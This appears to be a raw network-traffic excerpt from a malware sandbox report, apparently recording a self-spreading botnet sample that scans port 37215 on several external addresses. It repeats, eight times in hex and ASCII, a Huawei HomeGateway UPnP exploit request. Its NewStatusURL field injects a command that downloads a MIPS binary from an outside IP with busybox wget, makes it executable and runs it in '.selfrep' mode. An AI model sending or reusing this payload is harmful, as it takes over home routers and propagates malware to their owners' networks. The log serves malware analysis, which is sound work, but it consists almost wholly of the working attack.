Source: global traffic	TCP traffic: 192.168.2.23:28660 -> 41.16.233.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:28660 -> 156.18.158.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:28660 -> 156.32.202.162:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
